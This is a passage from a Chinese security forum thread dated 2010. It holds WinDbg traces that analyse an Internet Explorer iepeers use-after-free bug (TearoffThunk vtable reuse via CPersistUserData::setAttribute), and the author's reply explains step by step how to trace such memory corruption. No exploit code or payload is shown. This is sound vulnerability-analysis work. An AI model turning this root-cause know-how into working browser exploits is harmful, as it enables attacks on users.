eax=00000000 ebx=00000000 ecx=019dc954 edx=00000010 esi=019dc93c edi=00000000
eip=770f6b82 esp=019dc930 ebp=019dc96c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
OLEAUT32!VariantChangeTypeEx+0x1003:
770f6b82 0f8cb6f8ffff jl OLEAUT32!VariantChangeTypeEx+0x102b (770f643e) [br=0]
0:005> t
eax=00000000 ebx=00000000 ecx=019dc954 edx=00000010 esi=019dc93c edi=00000000
eip=770f6b88 esp=019dc930 ebp=019dc96c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
OLEAUT32!VariantChangeTypeEx+0x1005:
770f6b88 668b4518 mov ax,word ptr [ebp+18h] ss:0023:019dc984=0008
0:005> t
eax=00000008 ebx=00000000 ecx=019dc954 edx=00000010 esi=019dc93c edi=00000000
eip=770f6b8c esp=019dc930 ebp=019dc96c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
OLEAUT32!VariantChangeTypeEx+0x1009:
770f6b8c 668945e0 mov word ptr [ebp-20h],ax ss:0023:019dc94c=ffff
0:005> t
eax=00000008 ebx=00000000 ecx=019dc954 edx=00000010 esi=019dc93c edi=00000000
eip=770f6b90 esp=019dc930 ebp=019dc96c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
OLEAUT32!VariantChangeTypeEx+0x100d:
770f6b90 8b4508 mov eax,dword ptr [ebp+8] ss:0023:019dc974=019dc9b4
0:005> t
eax=019dc9b4 ebx=00000000 ecx=019dc954 edx=00000010 esi=019dc93c edi=00000000
eip=770f6b93 esp=019dc930 ebp=019dc96c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
OLEAUT32!VariantChangeTypeEx+0x1010:
770f6b93 66833808 cmp word ptr [eax],8 ds:0023:019dc9b4=0009
0:005> t
eax=019dc9b4 ebx=00000000 ecx=019dc954 edx=00000010 esi=019dc93c edi=00000000
eip=770f6b97 esp=019dc930 ebp=019dc96c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
OLEAUT32!VariantChangeTypeEx+0x1014:
770f6b97 0f8367e2ffff jae OLEAUT32!VariantChangeTypeEx+0x1016 (770f4e04) [br=1]
0:005> t
eax=019dc9b4 ebx=00000000 ecx=019dc954 edx=00000010 esi=019dc93c edi=00000000
eip=770f4e04 esp=019dc930 ebp=019dc96c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
OLEAUT32!VariantChangeTypeEx+0x1016:
770f4e04 50 push eax
0:005> t
eax=019dc9b4 ebx=00000000 ecx=019dc954 edx=00000010 esi=019dc93c edi=00000000
eip=770f4e05 esp=019dc92c ebp=019dc96c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
OLEAUT32!VariantChangeTypeEx+0x1017:
770f4e05 e816fbffff call OLEAUT32!VariantClear (770f4920)

步过OLEAUT32!VariantClear,访问计数减1之后,为了不要每次循环都到这里,直接看这个TearoffThunk是在哪里被重写掉的,从前面的TearoffThunk7调用
3e5b95f1 8b4804          mov     ecx,dword ptr [eax+4] ds:0023:001897f0={mshtml!COmWindowProxy::s_apfnIDispatchEx (3e5b2fdc)}
可以知道关键的位置是001897f0处保存的这个函数表,对此处下4字节的硬件写入断点,运行后断下,这时已经在CreateTearoffThunk里的,该处的值确实被改为了mshtml!CWindow::s_apfnIHTMLPrivateWindow3:
0:005> ba w 4 001897f0
0:005> g
Breakpoint 3 hit
eax=001c97b0 ebx=00000000 ecx=3e5b56a4 edx=00000000 esi=001897e0 edi=7c80979e
eip=3e5b2d1f esp=019dc7bc ebp=019dc7c8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
mshtml!CreateTearOffThunk+0x83:
3e5b2d1f 895e18 mov dword ptr [esi+18h],ebx ds:0023:001897f8={mshtml!CSecurityThunkSub::`vftable' (3e5b45b8)}
0:005> dd 001897f0 l 1
001897f0 3e5b56a4
0:005> ln 3e5b56a4
(3e5b56a4) mshtml!CWindow::s_apfnIHTMLPrivateWindow3 | (3e5b56d8) mshtml!COmWindowProxy::`vftable'
Exact matches:
mshtml!CWindow::s_apfnIHTMLPrivateWindow3 = <no type information>

最后,把最早的那个断点重新搞上,不过这次加上条件,让它在下次访问相应TearoffThunk结构的时候正好被断下:
0:005> bp 75be3064 "j @eax=001897e0 '';gc"
0:005> g
eax=001897e0 ebx=00000002 ecx=3e80f218 edx=019dcdac esi=001897e0 edi=00039fc8
eip=75be3064 esp=019dcca0 ebp=019dccc0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
jscript!IDispatchExGetDispID+0x48:
75be3064 ff511c call dword ptr [ecx+1Ch] ds:0023:3e80f234={mshtml!TearoffThunk7 (3e5b95d6)}

步进去,最终的过程就有了:

0:005> t
eax=001897ec ebx=00000002 ecx=001c97b0 edx=019dcdac esi=001897e0 edi=00039fc8
eip=3e5b95f1 esp=019dcc98 ebp=019dccc0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!TearoffThunk7+0x1e:
3e5b95f1 8b4804 mov ecx,dword ptr [eax+4] ds:0023:001897f0={mshtml!CWindow::s_apfnIHTMLPrivateWindow3 (3e5b56a4)}

最后是变成jmp 0x0f09f883,以一个Access Violation异常告终:
(d4.77c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=001897e0 ebx=00000002 ecx=0f09f883 edx=019dcdac esi=001897e0 edi=00039fc8
eip=0f09f883 esp=019dcc9c ebp=019dccc0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
<Unloaded_ud.drv>+0xf09f882:
0f09f883 ?? ???
雪    币: 1702
活跃值: 活跃值 (11)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
pealcock 活跃值 2010-3-12 09:39
4
0
膜拜楼主看的话还是知道点皮毛,但都不知道从哪开始学起
雪    币: 1834
活跃值: 活跃值 (15)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
yingyue 活跃值 2010-3-12 09:45
5
0
速度很快,厉害
雪    币: 52
活跃值: 活跃值 (18)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
yiyiguxing 活跃值 1 2010-3-12 10:01
6
0
发现和CVE-2009-1136好像,几乎同出一辙,难道是同一个人挖出来的。。。
雪    币: 666
活跃值: 活跃值 (26)
能力值: ( LV12,RANK:300 )
在线值:
发帖
回帖
粉丝
轩辕小聪 活跃值 7 2010-3-12 10:06
7
0
貌似我之前曾经遇到过一个毒网是利用这个的,但是当时在我实机的IE8上没效果,所以直接扔掉了,现在看了相关公告才知道原来IE6和7才有效。
雪    币: 666
活跃值: 活跃值 (26)
能力值: ( LV12,RANK:300 )
在线值:
发帖
回帖
粉丝
轩辕小聪 活跃值 7 2010-3-12 10:23
8
0
https://www.mysonicwall.com/sonicalert/searchresults.aspx?ev=article&id=213
找到了又一个页面对该漏洞的简要描述,看来与我的分析是相映证的。
雪    币: 1372
活跃值: 活跃值 (190)
能力值: (RANK:860 )
在线值:
发帖
回帖
粉丝
仙果 活跃值 19 2010-3-12 11:06
9
0
昨天刚把POC从MSF中导出来,今天就看到分析了
哇哈哈
  看来我慢了一步
雪    币: 72
活跃值: 活跃值 (10)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
jupiterone 活跃值 2010-3-12 11:23
10
0
^_^,看见分析了,很好很好,lz很强大
雪    币: 324
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
chhzh 活跃值 2010-3-12 11:38
11
0
楼主好强大!
雪    币: 57
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Eala 活跃值 2010-3-12 15:22
12
0
强悍.....
雪    币: 2273
活跃值: 活跃值 (19)
能力值: (RANK:300 )
在线值:
发帖
回帖
粉丝
北极狐狸 活跃值 7 2010-3-12 15:53
13
0
无话可说只有膜拜了...
雪    币: 210
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
热火朝天 活跃值 2010-3-12 16:13
14
0
完全不懂
雪    币: 98
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7jdg 活跃值 2010-3-12 19:45
15
0
小聪我爱你..
雪    币: 270
能力值: (RANK:10 )
在线值:
发帖
回帖
粉丝
小天狼星 活跃值 2010-3-12 21:58
16
0
请楼主分享下发布漏洞提示的一些网站,http://www.milw0rm.com/停下后就不知去哪了 
雪    币: 200
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
空子 活跃值 2010-3-12 22:19
17
0
强帖要留名呀
雪    币: 373
活跃值: 活跃值 (18)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
lovesuae 活跃值 1 2010-3-12 23:07
18
0
完全看不懂,支持小聪大牛
雪    币: 755
活跃值: 活跃值 (40)
能力值: ( LV12,RANK:310 )
在线值:
发帖
回帖
粉丝
古河 活跃值 6 2010-3-12 23:28
19
0
膜拜一下!楼主实在强大!

在下昨天也分析了这个sample, 最终结果和楼主的一样,但因为是新手,感觉自己走了很多弯路,在这里想请教楼主一点问题:
我是从发生问题的地方回溯,花了好大的功夫才定位到CPersistUserData::setAttribute这个函数的,楼主能否分享一下,您是怎么知道要找CPersistUserData::setAttribute这个函数的呢,mshtml和jscript这两个dll里的类和函数,以及他们之间的调用关系,这些有没有相应的参考资料呢?

还望楼主不吝赐教,在此先谢过楼主了
雪    币: 203
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
漂亮宝贝 活跃值 2010-3-13 01:15
20
0
LZ很无私哈,连调试细节都贴出来了,强烈支持这样的共享精神。
雪    币: 666
活跃值: 活跃值 (26)
能力值: ( LV12,RANK:300 )
在线值:
发帖
回帖
粉丝
轩辕小聪 活跃值 7 2010-3-13 03:45
21
0
其实我对IE浏览器内核也是不懂的,也苦于这方面的资料缺乏,很多东西都是在调试过程中自己推敲的。
内存破坏这种类型的定位起来也确实比较麻烦,因为造成破坏的位置和最终触发的位置之间可能有很大距离。也就是说当调试器捕获到异常时,我们面对的已经是一个最后的现场,而我们要做的就是要还原它的整个过程。
要做到这一点,我想一般有顺向和逆向两种方法。
顺向是建立在对相应程序机制和代码的理解上,比如如果分析者对IE浏览器内核运作很了解,也就是说懂得IE是怎么执行脚本的,脚本代码是怎么跟实际的代码执行过程联系起来的,那么通过阅读PoC,当看到脚本通过addBehavior把body标签和UserData绑定并通过循环调用setAttribute来实现时,很可能很快就意识到了CPersistUserData::setAttribute是关键。对于那些深入了解浏览器机制的专家来说,或者就是这样的。
但是我就不行了,应该说我是硬钻到漏洞分析这个领域上来的,我对IE内核的实现机制基本不懂,甚至对这些类的构成方式如虚函数表,也是在这个过程中慢慢学会的。我凭借的就只有以汇编为基础的调试能力了,只能从逆向者的角度来操作它了。
对于逆向的方法,处理这种的一般步骤,我想应该是:1.捕获异常,看到最后的状态;2.尝试往前走找到一个未被破坏的初始点可以定位到相关内存未被破坏前的状态;3.找到了初始点,就可以使用写入断点来找到内存被修改也就是被重用的位置;4.对于一般的类对象,有相应的函数进行减小访问计数并最终释放的工作,对该函数进行研究,使用条件断点等捕捉到它对相应的对象进行减小访问计数的那个时刻;5.第4步成功捕捉到后,用栈回溯等就可以确定它是被谁调用的,这样就确定了破坏的位置;6.结合调试结果和脚本内容以及各个类的关系推敲。
其中第2步是第一个门槛。就像软件注册破解要找到关键代码一样,往往没有定式,只能靠摸索和观察以及一点运气,因此往往相当一部分时间是耗在这里的。
就我调试的过程而言,我是经历了这几步:
1. 直接windbg加载IE执行代码,触发异常回到调试器,这时的栈回溯可看到触发异常的代码是被jscript!IDispatchExGetDispID调用的,这样在这个函数上下断,一开始断下时并不是在最后溢出时,但是对前面那些正常的流程的调试可以让我了解这个函数相关的代码原本是在做什么,也即进一步找到了TearoffThunk7就是最终溢出的函数,以及这是有关TearoffThunk类的内存破坏。
2. 通过让程序一次又一次地断在jscript!IDispatchExGetDispID,我欣喜地找到内存破坏前后的更多信息,即前面提到的原来是COmWindowProxy::s_apfnIDispatchEx后来变成CWindow::s_apfnIHTMLPrivateWindow3导致了异常,更重要的是让我发现了程序第一次在jscript!IDispatchExGetDispID断下时它所操作的对象正是最后因为被破坏导致问题的那个对象,这样我就找到了一个未被破坏的初始点
3. 接下来就是利用硬件写入断点等一步步逼近的问题了,就像我前面说的,在第一次jscript!IDispatchExGetDispID断下之后,我找到了将被修改的类对象,我在原来为COmWindowProxy::s_apfnIDispatchEx的地方下硬件写入断点,断点断下便直接找到了修改它的位置,也即CreateTearoffThunk,这时再用栈回溯,CPersistUserData::setAttribute就蹦出来了。
4. 通过对CreateTearoffThunk的观察,我发现它是在mshtml.dll中自己保存一个立即可用的缓冲区的指针(参见我前面分析的第8点CreateTearoffThunk对InterlockedExchange的调用中的offset lpMem),通过IDA中这个指针的交叉参考,我发现了mshtml!PlainRelease正是将访问计数减为0的类对象指针挂到这里的函数(参见前面分析第7点),这样就找到了把类对象访问计数减少和“释放”的函数,从而也证实这个重用是这两个函数内部之间的“协作”,而不是走一般的直接从堆中获取或释放回堆中的路径。
5. 通过对mshtml!PlainRelease下条件断点,我捕捉到它把类对象访问计数减为0并“释放”的时刻,此时一个栈回溯,CPersistUserData::setAttribute又蹦出来了。
6. 最终确定CPersistUserData::setAttribute的重要性并对其调试,从而弄清细节。

通过这两次对内存破坏型漏洞的分析调试(这一次和前一次的IE极光漏洞),我个人认为还是有一些技巧的。
首先关键的是弄清楚被破坏的内存原来是保存什么东西的。
像这两次漏洞,被破坏的内存都是类对象的内容,所以首先要弄清楚,它到底原来是哪个类。比较简单的情形是对于有虚函数表的类,只要看它的虚函数表,就可以大致确定它是哪一个类。应该说这次比上次要容易一些,这次通过那个TearoffThunk7函数所在的表很容易找到相应的函数表位置,而上一次IE极光漏洞,内存破坏后连原来的虚函数表指针都没了,从而我当时一下子不知道它就是CTreeNode。
找到虚函数表位置或者知道它是哪个类,目的是找到它的构造函数、析构函数等等,构造函数本身就是一个该内存刚刚构建的初始点,而由于这些类的使用访问计数来标记和释放的机制,析构函数或者是减少访问计数的函数,则往往是导致这块内存被“提前释放”的直接执行者,找到他们也就找到了操纵访问计数的监测点,在此处断下后用栈回溯往往就可以窥探到内存破坏发生的过程和因果链。
对于因为访问计数的问题被提前释放,一般是某些该增加访问计数的地方没有增加或某些操作在程序没有预料到的情况下减少了访问计数(或者说在不该释放的地方释放了)。这次的iepeers漏洞属于后者,相对容易找一些,如我所说断到PlainRelease后一个栈回溯。极光漏洞则属于前者,相比之下更难找,因为动态调试中我们可以通过断点等手段捕捉到程序“做了什么”,但是想要知道它“没做什么”总是更难一点,更多地依赖于建立在代码理解基础上的推测,并用静态分析来证实推测了。这也是我在IE极光漏洞的分析中把那几篇参考文献放在前面并强调那不是我自己独立提出的思路的原因,因为没有那几篇文章对原理的描述,以我对IE浏览器和脚本语言架构完全不熟的情况要从原理上弄清楚基本上不太可能。
以上我想就是对付这类与类对象的引用和释放相关的内存破坏漏洞的一点经验了。
雪    币: 205
活跃值: 活跃值 (10)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
xhackx 活跃值 1 2010-3-13 09:47
22
0
不错 不错   MARK
雪    币: 89
活跃值: 活跃值 (29)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
xouou 活跃值 2010-3-13 14:20
23
0
小聪牛牛好棒啊
雪    币: 189
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
adomore 活跃值 2010-3-13 17:35
24
0
楼猪好厉害啊!加油!
雪    币: 284
活跃值: 活跃值 (13)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
jerrynpc 活跃值 2010-3-13 19:27
25
0
完全看不懂,支持小聪大牛
游客
登录 | 注册 方可回帖
返回